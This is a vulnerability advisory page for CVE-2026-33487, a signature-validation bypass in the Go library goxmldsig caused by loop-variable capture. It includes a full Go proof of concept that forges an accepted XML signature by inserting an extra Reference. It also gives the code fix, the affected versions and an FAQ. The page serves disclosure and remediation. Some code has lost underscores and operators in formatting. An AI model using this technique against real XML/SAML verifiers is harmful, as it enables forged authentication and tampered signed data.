CVE-2026-33487: goxmldsig has validateSignature Loop Variable Capture Signature Bypass

Published Mar 18, 2026
·
Updated

Details

The validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop.

------

Technical Details

The code takes the address of a loop iteration variable (&ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.

As a result, any pointer to this variable will always point to the value of the last element processed by the loop, no matter which element matched the search criteria.

Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable ref inside the loop. The address &ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.

go // goxmldsig/validate.go (Lines 309-313) for , ref := range signedInfo.References { if ref.URI == "" || ref.URI[1:] == idAttr { ref = &ref // <- Capture var address of loop } }

-----

PoC

The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.

go package main

import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "encoding/base64" "fmt" "math/big" "time"

"github.com/beevik/etree" dsig "github.com/russellhaering/goxmldsig" )

func main() { key, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { panic(err) }

template := &x509.Certificate{ SerialNumber: big.NewInt(1), NotBefore: time.Now().Add(-1 time.Hour), NotAfter: time.Now().Add(1 time.Hour), }

certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key) if err != nil { panic(err) }

cert, := x509.ParseCertificate(certDER)

doc := etree.NewDocument() root := doc.CreateElement("Root") root.CreateAttr("ID", "target") root.SetText("Malicious Content")

tlsCert := tls.Certificate{ Certificate: [][]byte{cert.Raw}, PrivateKey: key, }

ks := dsig.TLSCertKeyStore(tlsCert) signingCtx := dsig.NewDefaultSigningContext(ks)

sig, err := signingCtx.ConstructSignature(root, true) if err != nil { panic(err) }

signedInfo := sig.FindElement("./SignedInfo")

existingRef := signedInfo.FindElement("./Reference") existingRef.CreateAttr("URI", "#dummy")

originalEl := etree.NewElement("Root") originalEl.CreateAttr("ID", "target") originalEl.SetText("Original Content")

sig1, := signingCtx.ConstructSignature(originalEl, true) ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()

signedInfo.InsertChildAt(existingRef.Index(), ref1)

c14n := signingCtx.Canonicalizer

detachedSI := signedInfo.Copy() if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil { detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace) }

canonicalBytes, err := c14n.Canonicalize(detachedSI) if err != nil { fmt.Println("c14n error:", err) return }

hash := signingCtx.Hash.New() hash.Write(canonicalBytes) digest := hash.Sum(nil)

rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest) if err != nil { panic(err) }

sigVal := sig.FindElement("./SignatureValue") sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))

certStore := &dsig.MemoryX509CertificateStore{ Roots: []x509.Certificate{cert}, } valCtx := dsig.NewDefaultValidationContext(certStore)

root.AddChild(sig)

doc.SetRoot(root) str, := doc.WriteToString() fmt.Println("XML:") fmt.Println(str)

validated, err := valCtx.Validate(root) if err != nil { fmt.Println("validation failed:", err) } else { fmt.Println("validation ok") fmt.Println("validated text:", validated.Text()) } }

-----

Impact

This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.

------

Remediation

Update the loop to capture the value correctly or use the index to reference the slice directly.

go // goxmldsig/validate.go func (ctx ValidationContext) validateSignature(el etree.Element, sig types.Signature) error { var ref types.Reference

// OLD // for , ref := range signedInfo.References { // if ref.URI == "" || ref.URI[1:] == idAttr { // ref = &ref // } // } // FIX for i := range signedInfo.References { if signedInfo.References[i].URI == "" || signedInfo.References[i].URI[1:] == idAttr { ref = &signedInfo.References[i] break } }

// ... }

----

References

https://cwe.mitre.org/data/definitions/347.html

https://cwe.mitre.org/data/definitions/682.html

https://github.com/russellhaering/goxmldsig/blob/main/validate.go

-----

Author: Tomas Illuminati

Other sources

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop. goxmlsig version 1.6.0 contains a patch.

MITRE

Affected Software

3 affected componentsFixes available
go/github.com/russellhaering/goxmldsig<=1.5.0
1.6.0
Goxmldsig Project Goxmldsig<1.6.0
IBM Netezza Software<=11.3.0.3-IF2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/russellhaering/goxmldsig to a version that resolves this vulnerability.

    Fixed in 1.6.0
  2. Upgrade

    Upgrade goxmlsig to a version that resolves this vulnerability.

    Fixed in 1.6.0
  3. Configuration

    In validateSignature (validate.go), update the loop to capture the reference value correctly (or use the loop index to reference signedInfo.References[i] directly) instead of taking the address of the iteration variable (&_ref).

    Go (compiler) loop variable capture behavior validateSignature loop reference capture = capture loop value correctly or use index to reference slice directly
  4. Compensating control

    If upgrading is not immediately possible, ensure signed elements are not validated using the vulnerable validateSignature logic path (e.g., avoid situations where multiple SignedInfo/Reference entries could match the same ID) so attackers cannot bypass integrity checks by swapping content between referenced elements.

Event History

Mar 18, 2026
Advisory Published
via GitHub·08:18 PM
Data Sourced
via GitHub·08:18 PM
DescriptionSeverityWeaknessAffected Software
Mar 26, 2026
CVE Published
via MITRE·05:17 PM
Data Sourced
via MITRE·05:17 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
Aug 20, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which builds are exposed to this issue?

Applications are affected when they use goxmldsig on Go versions before 1.22, or when their go.mod specifies an older Go version that preserves the older loop-variable behavior.

2

What input conditions are needed for exploitation?

An attacker needs to provide signature data whose SignedInfo references cause the validation logic to select a different reference than the one that matched the signed element ID. The issue is relevant when multiple references match that ID or when the loop’s matching logic permits the incorrect final reference to be used.

3

How can I assess whether my application may already be affected?

Review the Go version used to build the application and the Go version declared in go.mod. For affected builds, inspect SignedInfo structures processed by the application for multiple references matching a signed element ID, since the reference pointer can resolve to the last processed reference rather than the intended match.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203